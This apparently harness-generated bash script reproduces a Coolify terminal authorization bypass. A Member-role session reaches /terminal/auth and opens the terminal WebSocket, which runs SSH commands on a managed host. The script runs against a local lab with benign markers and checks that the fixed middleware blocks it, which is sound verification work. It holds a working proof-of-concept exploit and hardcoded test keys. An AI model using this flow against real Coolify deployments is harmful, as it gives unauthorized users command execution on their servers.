#!/bin/bash
set -euo pipefail

# ==============================================================================
# CVE-2026-34047 - Coolify terminal authorization bypass to WebSocket command execution
# ==============================================================================
# This script runs the real vulnerable Coolify Laravel routes and the real
# docker/coolify-realtime terminal WebSocket server. It creates an authenticated
# low-privileged Member session, connects to /terminal/ws with that session, and
# sends the same SSH command shape used by Coolify's browser terminal. A local
# unprivileged SSH server acts as the managed host and records the command flow.
#
# Positive control: vulnerable v4.0.0-beta.470 routes let Member reach
# /terminal/auth and /terminal/auth/ips, the WebSocket opens, terminal-server.js
# spawns ssh through node-pty, and output from the managed host is returned.
# Negative control: applying the fixed middleware makes terminal-server.js fail
# closed before command execution; no managed-host execution marker appears.
# ==============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

MAIN_LOG="$LOGS/reproduction_steps.log"
: > "$MAIN_LOG"

FIXED_COMMIT="847166a3f89b7c80972fa0d2e5c754976f95b6ad"
WORK="${PRUVA_WORK:-/tmp/coolify-repro}"
mkdir -p "$WORK"

log() { echo "[$(date '+%H:%M:%S')] $*" | tee -a "$MAIN_LOG"; }

write_manifest() {
  local status="$1"
  local notes="$2"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$status" "$notes" <<'PY'
import json, sys
path, status, notes = sys.argv[1:4]
confirmed = status == 'confirmed'
manifest = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "Authenticated Member -> POST /terminal/auth + /terminal/auth/ips -> WebSocket /terminal/ws -> terminal-server.js node-pty ssh command to managed host",
    "service_started": confirmed,
    "healthcheck_passed": confirmed,
    "target_path_reached": confirmed,
    "runtime_stack": ["coolify-laravel", "coolify-realtime-terminal-server", "websocket", "node-pty", "openssh-client", "managed-host-ssh"],
    "proof_artifacts": [
        "logs/reproduction_steps.log",
        "logs/vuln_result.txt",
        "logs/fixed_result.txt",
        "logs/ws_client_vuln.log",
        "logs/ws_client_fixed.log",
        "logs/terminal_vuln.log",
        "logs/terminal_fixed.log",
        "logs/managed_host_vuln.log",
        "logs/managed_host_fixed.log",
        "logs/server.log"
    ],
    "notes": notes
}
with open(path, 'w') as f:
    json.dump(manifest, f, indent=2)
PY
}

write_manifest "unknown" "reproduction_steps.sh started; runtime evidence pending"

# ------------------------------------------------------------------------------
# Resolve/reuse repository from project cache as required by the harness policy.
# ------------------------------------------------------------------------------
PROJECT_CACHE_DIR=""
PREPARED="false"
if [ -f "$ROOT/project_cache_context.json" ]; then
  PROJECT_CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)
  PREPARED=$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || true)
fi

if [ "$PREPARED" = "true" ] && [ -n "$PROJECT_CACHE_DIR" ]; then
  REPO="$PROJECT_CACHE_DIR/repo"
else
  REPO="$ROOT/artifacts/coolify/repo"
fi

if [ ! -d "$REPO/.git" ]; then
  log "Cloning Coolify repository into $REPO"
  mkdir -p "$(dirname "$REPO")"
  git clone https://github.com/coollabsio/coolify.git "$REPO" 2>&1 | tee -a "$MAIN_LOG"
fi
log "Using repository: $REPO"

# Avoid stale listeners from interrupted previous attempts.
pkill -f "$WORK/.*coolify.*(mock|managed|terminal|php)" 2>/dev/null || true
pkill -f "php8.5.*-S 127.0.0.1:8000" 2>/dev/null || true
pkill -f "terminal-server.js" 2>/dev/null || true
sleep 1

cd "$REPO"
# Clean local modifications left by prior runs but preserve cached dependencies.
git reset --hard >/dev/null 2>&1 || true
git clean -fd -e vendor -e node_modules -e docker/coolify-realtime/node_modules -e database.sqlite >/dev/null 2>&1 || true

git fetch --tags --force origin v4.0.0-beta.470 >/dev/null 2>&1 || true
log "Checking out vulnerable release v4.0.0-beta.470"
git checkout -f v4.0.0-beta.470 >/dev/null 2>&1
VULN_COMMIT=$(git rev-parse HEAD)
log "Vulnerable commit: $VULN_COMMIT"

# ------------------------------------------------------------------------------
# Local PHP/Composer setup. We reuse the previous attempt's no-sudo PHP package
# extraction so the script can run in a clean non-root sandbox.
# ------------------------------------------------------------------------------
PHP_ROOT="$WORK/php-root"
PHP_BIN="$WORK/php"
SQLITE3_BIN="$WORK/sqlite3"
COMPOSER_BIN="$WORK/composer"

setup_php() {
  if [ -x "$PHP_BIN" ] && "$PHP_BIN" -v >/dev/null 2>&1; then
    log "PHP already available at $PHP_BIN ($($PHP_BIN -r 'echo PHP_VERSION;' 2>/dev/null || true))"
    return 0
  fi
  log "Setting up local PHP from apt .deb packages"
  mkdir -p "$PHP_ROOT" "$WORK/debs" "$WORK/php-sessions"
  cd "$WORK/debs"
  local packages="php8.5-cli php8.5-common php8.5-mbstring php8.5-xml php8.5-curl php8.5-sqlite3 php8.5-zip php8.5-gd php8.5-intl php8.5-bcmath php8.5-readline php8.5-mysql libargon2-1 libgd3 libsodium23 libzip5 sqlite3"
  apt-get download $packages 2>&1 | tee -a "$MAIN_LOG" || true
  for deb in *.deb; do dpkg-deb -x "$deb" "$PHP_ROOT" 2>/dev/null || true; done
  local ext_dir
  ext_dir=$(find "$PHP_ROOT/usr/lib/php" -maxdepth 1 -type d -name "20*" 2>/dev/null | head -1 || true)
  [ -n "$ext_dir" ] || ext_dir="$PHP_ROOT/usr/lib/php/20250925"
  mkdir -p "$PHP_ROOT/etc/php/8.5/cli"
  cat > "$PHP_ROOT/etc/php/8.5/cli/php.ini" <<PHPINI
extension_dir = $ext_dir
memory_limit = 512M
upload_max_filesize = 100M
post_max_size = 100M
session.save_path = "$WORK/php-sessions"
session.save_handler = files
extension=calendar.so
extension=ctype.so
extension=exif.so
extension=fileinfo.so
extension=ftp.so
extension=gettext.so
extension=iconv.so
extension=pdo.so
extension=phar.so
extension=posix.so
extension=shmop.so
extension=sockets.so
extension=sysvmsg.so
extension=sysvsem.so
extension=sysvshm.so
extension=tokenizer.so
extension=curl.so
extension=gd.so
extension=intl.so
extension=mbstring.so
extension=readline.so
extension=sqlite3.so
extension=pdo_sqlite.so
extension=dom.so
extension=simplexml.so
extension=xml.so
extension=xmlreader.so
extension=xmlwriter.so
extension=xsl.so
extension=zip.so
extension=mysqlnd.so
extension=mysqli.so
extension=pdo_mysql.so
extension=bcmath.so
PHPINI
  cat > "$PHP_BIN" <<PHPWRAP
#!/bin/bash
export PHP_ROOT="$PHP_ROOT"
export LD_LIBRARY_PATH="$PHP_ROOT/usr/lib/x86_64-linux-gnu:\${LD_LIBRARY_PATH:-}"
exec "$PHP_ROOT/usr/bin/php8.5" -c "$PHP_ROOT/etc/php/8.5/cli/php.ini" "\$@"
PHPWRAP
  chmod +x "$PHP_BIN"
  local sqlite_path
  sqlite_path=$(find "$PHP_ROOT" -name sqlite3 -type f 2>/dev/null | head -1 || true)
  [ -n "$sqlite_path" ] && ln -sf "$sqlite_path" "$SQLITE3_BIN"
  cd "$REPO"
  log "PHP setup complete: $($PHP_BIN -v 2>&1 | head -1)"
}

setup_composer() {
  if [ -x "$COMPOSER_BIN" ] && "$PHP_BIN" "$COMPOSER_BIN" --version >/dev/null 2>&1; then
    log "Composer already available"
    return 0
  fi
  log "Installing Composer locally"
  curl -sS https://getcomposer.org/installer | "$PHP_BIN" -- --install-dir="$WORK" --filename=composer 2>&1 | tee -a "$MAIN_LOG"
}

setup_php
setup_composer
export PATH="$WORK:$PATH"

if [ ! -f "$REPO/vendor/autoload.php" ]; then
  log "Installing Composer dependencies"
  "$PHP_BIN" "$COMPOSER_BIN" install --no-interaction --no-ansi --prefer-dist 2>&1 | tee -a "$MAIN_LOG"
else
  log "Composer vendor directory already present"
fi

# Node dependencies for the real Coolify terminal WebSocket server.
if [ ! -d "$REPO/docker/coolify-realtime/node_modules/ws" ] || [ ! -d "$REPO/docker/coolify-realtime/node_modules/node-pty" ]; then
  log "Installing docker/coolify-realtime npm dependencies"
  (cd "$REPO/docker/coolify-realtime" && npm ci --no-audit --no-fund) 2>&1 | tee -a "$MAIN_LOG"
else
  log "coolify-realtime npm dependencies already present"
fi

# AsyncSSH provides a real unprivileged SSH server used as the managed host.
if ! python3 - <<'PY' >/dev/null 2>&1
import asyncssh
PY
then
  log "Installing Python asyncssh for managed-host SSH server"
  python3 -m pip install --user asyncssh 2>&1 | tee -a "$MAIN_LOG"
fi

# ------------------------------------------------------------------------------
# Configuration patches for SQLite-only Laravel runtime.
# ------------------------------------------------------------------------------
log "Applying SQLite-friendly Laravel config patches"
python3 - <<'PY'
from pathlib import Path
p = Path('config/database.php')
c = p.read_text()
c = c.replace("'database' => ':memory:',", "'database' => env('DB_DATABASE', ':memory:'),")
lines=[]
for line in c.split('\n'):
    if 'PGSQL_ATTR_DISABLE_PREPARES' in line and 'disabled' not in line:
        continue
    lines.append(line)
p.write_text('\n'.join(lines))
app = Path('config/app.php')
c = app.read_text()
c = c.replace("'driver' => 'cache',\n        'store' => 'redis',", "'driver' => 'file',")
app.write_text(c)
PY

DB_FILE="$REPO/database.sqlite"
APP_KEY="base64:8VEfVNVkXQ9mH2L33WBWNMF4eQ0BWD5CTzB8mIxcl+k="
cat > "$REPO/.env" <<EOFENV
APP_ENV=local
APP_NAME=Coolify
APP_ID=reproduction
APP_KEY=$APP_KEY
APP_URL=http://127.0.0.1:8000
APP_PORT=8000
APP_DEBUG=true
DB_CONNECTION=testing
DB_DATABASE=$DB_FILE
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_CONNECTION=sync
MAIL_MAILER=array
TELESCOPE_ENABLED=false
NIGHTWATCH_ENABLED=false
REDIS_HOST=127.0.0.1
SELF_HOSTED=true
SSH_MUX_ENABLED=false
EOFENV
mkdir -p "$REPO/storage/framework/sessions" "$REPO/storage/framework/views" "$REPO/storage/framework/cache/data" "$REPO/storage/logs"
"$PHP_BIN" artisan config:clear >/dev/null 2>&1 || true
"$PHP_BIN" artisan route:clear >/dev/null 2>&1 || true

# Seeder: owner + member on same team, terminal-enabled server at 127.0.0.1.
SEEDER="$WORK/repro_seeder.php"
cat > "$SEEDER" <<'PHPSEED'
<?php
require __DIR__.'/REPO_VENDOR/autoload.php';
$app = require_once __DIR__.'/REPO_BOOTSTRAP/app.php';
$kernel = $app->make(Illuminate\Contracts\Console\Kernel::class);
$kernel->bootstrap();
use App\Models\User; use App\Models\Team; use App\Models\Server; use App\Models\InstanceSettings; use App\Models\PrivateKey; use App\Models\TeamInvitation;
use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Crypt; use Illuminate\Support\Str;

InstanceSettings::find(0) ?: (function(){ $i=new InstanceSettings(); $i->id=0; $i->save(); })();
$owner=User::firstOrCreate(['email'=>'owner@repro.test'], ['name'=>'Owner','password'=>Hash::make('repro-password-123'),'email_verified_at'=>now(),'force_password_reset'=>false]);
$member=User::firstOrCreate(['email'=>'member@repro.test'], ['name'=>'Member','password'=>Hash::make('repro-password-123'),'email_verified_at'=>now(),'force_password_reset'=>false]);
$team=Team::firstOrCreate(['name'=>'Repro Shared Team'], ['personal_team'=>false,'show_boarding'=>false]);
if(!$owner->teams()->where('team_id',$team->id)->exists()) $owner->teams()->attach($team->id,['role'=>'owner']);
// Ensure the low-privileged user enters the shared team through the invitation path.
// Controller::link() prioritizes invitations and sets session('currentTeam') to the
// invited team, preserving the intended member role for canAccessTerminal.
if($member->teams()->where('team_id',$team->id)->exists()) $member->teams()->detach($team->id);
TeamInvitation::where('email','member@repro.test')->delete();
TeamInvitation::create(['team_id'=>$team->id,'uuid'=>Str::uuid(),'email'=>'member@repro.test','role'=>'member','via'=>'email','link'=>'http://127.0.0.1:8000/invitations/'.Str::uuid()]);
$validKey="-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\nQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk\nhwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA\nAAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV\nuZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==\n-----END OPENSSH PRIVATE KEY-----\n";
$key=PrivateKey::firstOrCreate(['team_id'=>$team->id, 'name'=>'Repro Test Key'], ['private_key'=>$validKey,'description'=>'Repro valid test key']);
$server=Server::where('team_id',$team->id)->where('ip','127.0.0.1')->first();
if(!$server){ $server=new Server(); $server->name='Managed Host 127.0.0.1'; $server->ip='127.0.0.1'; $server->port=2222; $server->user='root'; $server->team_id=$team->id; $server->private_key_id=$key->id; $server->save(); }
if($server->settings){ $server->settings->is_terminal_enabled=true; $server->settings->save(); }
$token=Crypt::encryptString('member@repro.test@@@repro-password-123');
echo "TOKEN:$token\n";
echo "SUMMARY:member={$member->id};team={$team->id};server={$server->id};server_ip={$server->ip};member_role=member\n";
PHPSEED
python3 - "$SEEDER" "$REPO" <<'PY'
import sys
p, repo = sys.argv[1:3]
c = open(p).read().replace('__DIR__' + ".'/REPO_VENDOR", repr(repo)[:-1] + "/vendor")
c = c.replace('__DIR__' + ".'/REPO_BOOTSTRAP", repr(repo)[:-1] + "/bootstrap")
open(p,'w').write(c)
PY
# The replacement above is deliberately simple but PHP single quotes require exact paths.
python3 - "$SEEDER" "$REPO" <<'PY'
import sys
p, repo = sys.argv[1:3]
c = open(p).read()
c = c.replace("require '/vendor/autoload.php';", f"require '{repo}/vendor/autoload.php';")
c = c.replace("require_once '/bootstrap/app.php';", f"require_once '{repo}/bootstrap/app.php';")
open(p,'w').write(c)
PY

ROUTER="$WORK/laravel_router.php"
SERVER_PID=""
TERMINAL_PID=""
MANAGED_PID=""

start_laravel() {
  cat > "$ROUTER" <<EOFROUTER
<?php
\$repo = '$REPO';
\$uri = urldecode(parse_url(\$_SERVER['REQUEST_URI'], PHP_URL_PATH));
if (\$uri !== '/' && file_exists(\$repo.'/public'.\$uri)) { return false; }
require \$repo.'/public/index.php';
EOFROUTER
  export PHP_ROOT_DIR="$PHP_ROOT"
  export LD_LIBRARY_PATH="$PHP_ROOT/usr/lib/x86_64-linux-gnu:${LD_LIBRARY_PATH:-}"
  "$PHP_ROOT/usr/bin/php8.5" -c "$PHP_ROOT/etc/php/8.5/cli/php.ini" -S 127.0.0.1:8000 -t "$REPO/public" "$ROUTER" > "$LOGS/server.log" 2>&1 &
  SERVER_PID=$!
  for i in $(seq 1 60); do
    code=$(curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:8000/api/health 2>/dev/null || true)
    if [ -n "$code" ] && [ "$code" != "000" ]; then log "Laravel server ready pid=$SERVER_PID health=$code"; return 0; fi
    sleep .25
  done
  log "Laravel server did not become reachable"; return 1
}

stop_laravel() {
  [ -n "${SERVER_PID:-}" ] && kill "$SERVER_PID" 2>/dev/null || true
  [ -n "${SERVER_PID:-}" ] && wait "$SERVER_PID" 2>/dev/null || true
  SERVER_PID=""
  pkill -f "php8.5.*-S 127.0.0.1:8000" 2>/dev/null || true
}

login_member() {
  local cookie_file="$1"
  local token
  token=$("$PHP_BIN" -r "require '$REPO/vendor/autoload.php'; \$app=require '$REPO/bootstrap/app.php'; \$app->make(Illuminate\\Contracts\\Console\\Kernel::class)->bootstrap(); echo Illuminate\\Support\\Facades\\Crypt::encryptString('member@repro.test@@@repro-password-123');")
  rm -f "$cookie_file"
  local code
  code=$(curl -s -o /dev/null -w "%{http_code}" -b "$cookie_file" -c "$cookie_file" "http://127.0.0.1:8000/auth/link?token=$token")
  log "Member magic-link login HTTP $code"
  grep -q XSRF-TOKEN "$cookie_file"
}

# DNS patch maps terminal-server's hard-coded http://coolify:8080 backend to the
# Laravel server at 127.0.0.1:8000 without modifying terminal-server.js.
DNS_PATCH="$WORK/patch_dns_http.mjs"
cat > "$DNS_PATCH" <<'JSPATCH'
import dns from 'node:dns';
import http from 'node:http';
const origLookup = dns.lookup.bind(dns);
dns.lookup = function(hostname, options, callback) {
  if (hostname === 'coolify') {
    if (typeof options === 'function') return options(null, '127.0.0.1', 4);
    if (options && options.all) return callback(null, [{ address: '127.0.0.1', family: 4 }]);
    return callback(null, '127.0.0.1', 4);
  }
  return origLookup(hostname, options, callback);
};
const origRequest = http.request;
http.request = function patchedRequest(input, options, cb) {
  if (typeof input === 'string') {
    input = input.replace('http://coolify:8080/', 'http://127.0.0.1:8000/');
  } else if (input instanceof URL && input.hostname === 'coolify' && input.port === '8080') {
    input = new URL(input.toString().replace('http://coolify:8080/', 'http://127.0.0.1:8000/'));
  } else if (input && typeof input === 'object' && input.hostname === 'coolify') {
    input = { ...input, hostname: '127.0.0.1', host: '127.0.0.1', port: 8000 };
  }
  if (options && typeof options === 'object' && (options.hostname === 'coolify' || options.host === 'coolify')) {
    options = { ...options, hostname: '127.0.0.1', host: '127.0.0.1', port: 8000 };
  }
  return origRequest.call(this, input, options, cb);
};
JSPATCH

start_terminal() {
  local label="$1"
  local log_file="$LOGS/terminal_${label}.log"
  APP_ENV=local APP_NAME=Coolify NODE_OPTIONS="--import $DNS_PATCH" node "$REPO/docker/coolify-realtime/terminal-server.js" > "$log_file" 2>&1 &
  TERMINAL_PID=$!
  for i in $(seq 1 60); do
    if curl -fsS http://127.0.0.1:6002/ready >/dev/null 2>&1; then log "Terminal WebSocket server ready pid=$TERMINAL_PID ($label)"; return 0; fi
    if ! kill -0 "$TERMINAL_PID" 2>/dev/null; then log "Terminal server exited early; see $log_file"; return 1; fi
    sleep .25
  done
  log "Terminal server did not become ready; see $log_file"; return 1
}

stop_terminal() {
  [ -n "${TERMINAL_PID:-}" ] && kill "$TERMINAL_PID" 2>/dev/null || true
  [ -n "${TERMINAL_PID:-}" ] && wait "$TERMINAL_PID" 2>/dev/null || true
  TERMINAL_PID=""
  pkill -f "terminal-server.js" 2>/dev/null || true
}

start_managed_host() {
  local label="$1"
  local log_file="$LOGS/managed_host_${label}.log"
  cat > "$WORK/managed_ssh_${label}.py" <<'PYSSH'
import asyncio, asyncssh, logging, os, sys, subprocess
logging.basicConfig(level=logging.INFO)
label = os.environ.get('MANAGED_LABEL','unknown')
class Server(asyncssh.SSHServer):
    def connection_made(self, conn): print(f'MANAGED_HOST_CONNECTION label={label}', flush=True)
    def begin_auth(self, username): print(f'MANAGED_HOST_AUTH label={label} username={username}', flush=True); return False
async def process(proc):
    print(f'MANAGED_HOST_PROCESS label={label} command={proc.command!r}', flush=True)
    # Execute the attacker-supplied terminal payload on this managed-host peer.
    # The command arrives through the real Coolify terminal-server.js -> node-pty ->
    # OpenSSH path; this server only provides an unprivileged local managed host.
    result = subprocess.run(proc.command or 'true', shell=True, text=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd='/tmp', timeout=5)
    print(f'MANAGED_HOST_PROCESS_EXIT label={label} rc={result.returncode} output={result.stdout!r}', flush=True)
    proc.stdout.write(result.stdout)
    proc.exit(result.returncode)
async def main():
    key = asyncssh.generate_private_key('ssh-rsa')
    await asyncssh.create_server(Server, '127.0.0.1', 2222, server_host_keys=[key], process_factory=process)
    print(f'MANAGED_HOST_READY label={label} 127.0.0.1:2222', flush=True)
    await asyncio.Future()
asyncio.run(main())
PYSSH
  MANAGED_LABEL="$label" python3 "$WORK/managed_ssh_${label}.py" > "$log_file" 2>&1 &
  MANAGED_PID=$!
  for i in $(seq 1 60); do
    if grep -q "MANAGED_HOST_READY" "$log_file" 2>/dev/null; then log "Managed SSH host ready pid=$MANAGED_PID ($label)"; return 0; fi
    if ! kill -0 "$MANAGED_PID" 2>/dev/null; then log "Managed SSH server exited early; see $log_file"; return 1; fi
    sleep .25
  done
  log "Managed SSH host did not become ready; see $log_file"; return 1
}

stop_managed_host() {
  [ -n "${MANAGED_PID:-}" ] && kill "$MANAGED_PID" 2>/dev/null || true
  [ -n "${MANAGED_PID:-}" ] && wait "$MANAGED_PID" 2>/dev/null || true
  MANAGED_PID=""
  pkill -f "managed_ssh_" 2>/dev/null || true
}

run_ws_client() {
  local label="$1"
  local cookie_file="$2"
  local expected="$3"
  local client="$WORK/ws_client_${label}.mjs"
  local log_file="$LOGS/ws_client_${label}.log"
  local cookie_header
  cookie_header=$(awk 'BEGIN{ORS=""} NF>=7 && ($0 !~ /^#/ || $0 ~ /^#HttpOnly_/) { if (length(s)>0) s=s"; "; s=s $6"="$7 } END{print s}' "$cookie_file")
  cat > "$client" <<'JSCLIENT'
import WebSocket from 'WS_MODULE_PLACEHOLDER';
const cookieHeader = COOKIE_PLACEHOLDER;
const expected = EXPECTED_PLACEHOLDER;
const command = "timeout 10 ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PasswordAuthentication=no -o ConnectTimeout=5 -o LogLevel=ERROR -o RequestTTY=no -p '2222' 'root'@'127.0.0.1' 'bash -se' << \\EOF\nprintf 'REPRO_WS_COMMAND_EXECUTED\\n'; whoami; hostname; pwd\nEOF";
const messages = [];
const ws = new WebSocket('ws://127.0.0.1:6002/terminal/ws', { headers: { Cookie: cookieHeader } });
function finish(code) { console.log('CLIENT_ALL=' + messages.join('')); try { ws.close(); } catch {} process.exit(code); }
ws.on('open', () => { console.log('CLIENT_WS_OPEN'); setTimeout(() => { console.log('CLIENT_SEND_COMMAND'); ws.send(JSON.stringify({ command: [command] })); }, 750); });
ws.on('message', (data) => { const s = String(data); messages.push(s); console.log('CLIENT_MSG=' + JSON.stringify(s)); if (s === 'pty-exited') { const all = messages.join(''); finish(all.includes('REPRO_WS_COMMAND_EXECUTED') ? 0 : 2); } });
ws.on('close', (code, reason) => { console.log('CLIENT_CLOSE=' + code + ':' + String(reason)); if (expected === 'blocked') { const all = messages.join(''); process.exit(all.includes('REPRO_WS_COMMAND_EXECUTED') ? 5 : 0); } });
ws.on('error', (err) => { console.log('CLIENT_ERROR=' + err.message); if (expected === 'blocked') process.exit(0); else process.exit(3); });
setTimeout(() => { const all = messages.join(''); console.log('CLIENT_TIMEOUT_ALL=' + all); if (expected === 'blocked') process.exit(all.includes('REPRO_WS_COMMAND_EXECUTED') ? 5 : 0); process.exit(4); }, expected === 'blocked' ? 6000 : 15000);
JSCLIENT
  local ws_module="$REPO/docker/coolify-realtime/node_modules/ws/index.js"
  python3 - "$client" "$ws_module" "$cookie_header" "$expected" <<'PY'
import json, sys
p, ws, cookie, expected = sys.argv[1:5]
c=open(p).read()
c=c.replace('WS_MODULE_PLACEHOLDER', ws)
c=c.replace('COOKIE_PLACEHOLDER', json.dumps(cookie))
c=c.replace('EXPECTED_PLACEHOLDER', json.dumps(expected))
open(p,'w').write(c)
PY
  log "Running WebSocket client ($label, expected=$expected, cookie_names=$(echo "$cookie_header" | sed -E 's/=[^;]*/=<redacted>/g'))"
  set +e
  timeout 20 node "$client" > "$log_file" 2>&1
  local rc=$?
  set -e
  sed 's/^/[ws-client] /' "$log_file" | tee -a "$MAIN_LOG" >/dev/null
  return "$rc"
}

cleanup_all() { stop_terminal || true; stop_managed_host || true; stop_laravel || true; }
trap cleanup_all EXIT

prepare_database() {
  local label="$1"
  rm -f "$DB_FILE"
  "$PHP_BIN" artisan migrate --force --no-interaction 2>&1 | tail -5 | tee -a "$MAIN_LOG"
  local seed_out
  if ! seed_out=$("$PHP_BIN" "$SEEDER" 2>&1); then
    echo "$seed_out" | tee -a "$MAIN_LOG"
    log "Seeder failed ($label)"
    return 1
  fi
  echo "$seed_out" | tee -a "$MAIN_LOG"
  log "Database prepared ($label)"
}

# ------------------------------------------------------------------------------
# Vulnerable path: real Laravel + real terminal-server.js + real WebSocket + SSH.
# ------------------------------------------------------------------------------
log "========================================"
log "VULNERABLE WEBSOCKET COMMAND EXECUTION TEST"
log "========================================"
prepare_database "vuln"
start_laravel
VULN_COOKIE="$WORK/cookies_vuln.txt"
login_member "$VULN_COOKIE"

# Direct endpoint evidence with Member role.
XSRF=$(grep XSRF-TOKEN "$VULN_COOKIE" | awk '{print $7}' | tail -1)
XSRF_DECODED=$(python3 -c "import urllib.parse,sys; print(urllib.parse.unquote(sys.argv[1]))" "$XSRF")
VULN_RESULT="$LOGS/vuln_result.txt"
: > "$VULN_RESULT"
ips_response=$(curl -s -w "\n%{http_code}" -b "$VULN_COOKIE" -X POST "http://127.0.0.1:8000/terminal/auth/ips" -H "Accept: application/json" -H "X-Requested-With: XMLHttpRequest" -H "X-XSRF-TOKEN: $XSRF_DECODED")
auth_response=$(curl -s -w "\n%{http_code}" -b "$VULN_COOKIE" -X POST "http://127.0.0.1:8000/terminal/auth" -H "Accept: application/json" -H "X-Requested-With: XMLHttpRequest" -H "X-XSRF-TOKEN: $XSRF_DECODED")
echo "IPS_STATUS=$(echo "$ips_response" | tail -1)" >> "$VULN_RESULT"
echo "IPS_BODY=$(echo "$ips_response" | head -n -1)" >> "$VULN_RESULT"
echo "AUTH_STATUS=$(echo "$auth_response" | tail -1)" >> "$VULN_RESULT"
echo "AUTH_BODY=$(echo "$auth_response" | head -n -1)" >> "$VULN_RESULT"
cat "$VULN_RESULT" | tee -a "$MAIN_LOG"

start_managed_host "vuln"
start_terminal "vuln"
VULN_WS_RC=0
run_ws_client "vuln" "$VULN_COOKIE" "exec" || VULN_WS_RC=$?
stop_terminal
stop_managed_host
stop_laravel

VULN_IPS_STATUS=$(grep '^IPS_STATUS=' "$VULN_RESULT" | cut -d= -f2)
VULN_AUTH_STATUS=$(grep '^AUTH_STATUS=' "$VULN_RESULT" | cut -d= -f2)
VULN_EXEC="false"
if [ "$VULN_WS_RC" = "0" ] && grep -q "REPRO_WS_COMMAND_EXECUTED" "$LOGS/ws_client_vuln.log" && grep -q "Parsed terminal command metadata" "$LOGS/terminal_vuln.log" && grep -q "MANAGED_HOST_PROCESS" "$LOGS/managed_host_vuln.log"; then
  VULN_EXEC="true"
fi
log "Vulnerable summary: auth/ips=$VULN_IPS_STATUS auth=$VULN_AUTH_STATUS websocket_exec=$VULN_EXEC"

# ------------------------------------------------------------------------------
# Fixed path: apply the fixed middleware and prove WebSocket is blocked.
# ------------------------------------------------------------------------------
log "========================================"
log "FIXED NEGATIVE CONTROL (can.access.terminal middleware)"
log "========================================"
python3 - <<'PY'
from pathlib import Path
p = Path('routes/web.php')
c = p.read_text()
old_auth = "})->name('terminal.auth');"
old_ips = "})->name('terminal.auth.ips');"
if old_auth not in c or old_ips not in c:
    raise SystemExit('expected vulnerable route endings not found before fixed patch')
c = c.replace(old_auth, "})->name('terminal.auth')->middleware('can.access.terminal');")
c = c.replace(old_ips, "})->name('terminal.auth.ips')->middleware('can.access.terminal');")
p.write_text(c)
PY
log "Fixed route patch applied: $(grep -n "terminal.auth" routes/web.php | tr '\n' ' ')"
"$PHP_BIN" artisan optimize:clear 2>&1 | tail -5 | tee -a "$MAIN_LOG" || true
prepare_database "fixed"
start_laravel
FIXED_COOKIE="$WORK/cookies_fixed.txt"
login_member "$FIXED_COOKIE"
XSRF=$(grep XSRF-TOKEN "$FIXED_COOKIE" | awk '{print $7}' | tail -1)
XSRF_DECODED=$(python3 -c "import urllib.parse,sys; print(urllib.parse.unquote(sys.argv[1]))" "$XSRF")
FIXED_RESULT="$LOGS/fixed_result.txt"
: > "$FIXED_RESULT"
ips_response=$(curl -s -w "\n%{http_code}" -b "$FIXED_COOKIE" -X POST "http://127.0.0.1:8000/terminal/auth/ips" -H "Accept: application/json" -H "X-Requested-With: XMLHttpRequest" -H "X-XSRF-TOKEN: $XSRF_DECODED")
auth_response=$(curl -s -w "\n%{http_code}" -b "$FIXED_COOKIE" -X POST "http://127.0.0.1:8000/terminal/auth" -H "Accept: application/json" -H "X-Requested-With: XMLHttpRequest" -H "X-XSRF-TOKEN: $XSRF_DECODED")
echo "IPS_STATUS=$(echo "$ips_response" | tail -1)" >> "$FIXED_RESULT"
echo "IPS_BODY=$(echo "$ips_response" | head -n -1)" >> "$FIXED_RESULT"
echo "AUTH_STATUS=$(echo "$auth_response" | tail -1)" >> "$FIXED_RESULT"
echo "AUTH_BODY=$(echo "$auth_response" | head -n -1)" >> "$FIXED_RESULT"
cat "$FIXED_RESULT" | tee -a "$MAIN_LOG"
start_managed_host "fixed"
start_terminal "fixed"
FIXED_WS_RC=0
run_ws_client "fixed" "$FIXED_COOKIE" "blocked" || FIXED_WS_RC=$?
stop_terminal
stop_managed_host
stop_laravel
FIXED_IPS_STATUS=$(grep '^IPS_STATUS=' "$FIXED_RESULT" | cut -d= -f2)
FIXED_AUTH_STATUS=$(grep '^AUTH_STATUS=' "$FIXED_RESULT" | cut -d= -f2)
FIXED_BLOCKED="false"
if [ "$FIXED_IPS_STATUS" = "403" ] && [ "$FIXED_AUTH_STATUS" = "403" ] && ! grep -q "REPRO_WS_COMMAND_EXECUTED" "$LOGS/ws_client_fixed.log" && ! grep -q "MANAGED_HOST_PROCESS" "$LOGS/managed_host_fixed.log"; then
  FIXED_BLOCKED="true"
fi
log "Fixed summary: auth/ips=$FIXED_IPS_STATUS auth=$FIXED_AUTH_STATUS blocked=$FIXED_BLOCKED client_rc=$FIXED_WS_RC"

git checkout -f v4.0.0-beta.470 >/dev/null 2>&1 || true

log "========================================"
log "VERIFICATION SUMMARY"
log "========================================"
log "Vulnerable: Member endpoints $VULN_IPS_STATUS/$VULN_AUTH_STATUS, WebSocket managed-host command execution=$VULN_EXEC"
log "Fixed:      Member endpoints $FIXED_IPS_STATUS/$FIXED_AUTH_STATUS, WebSocket blocked=$FIXED_BLOCKED"

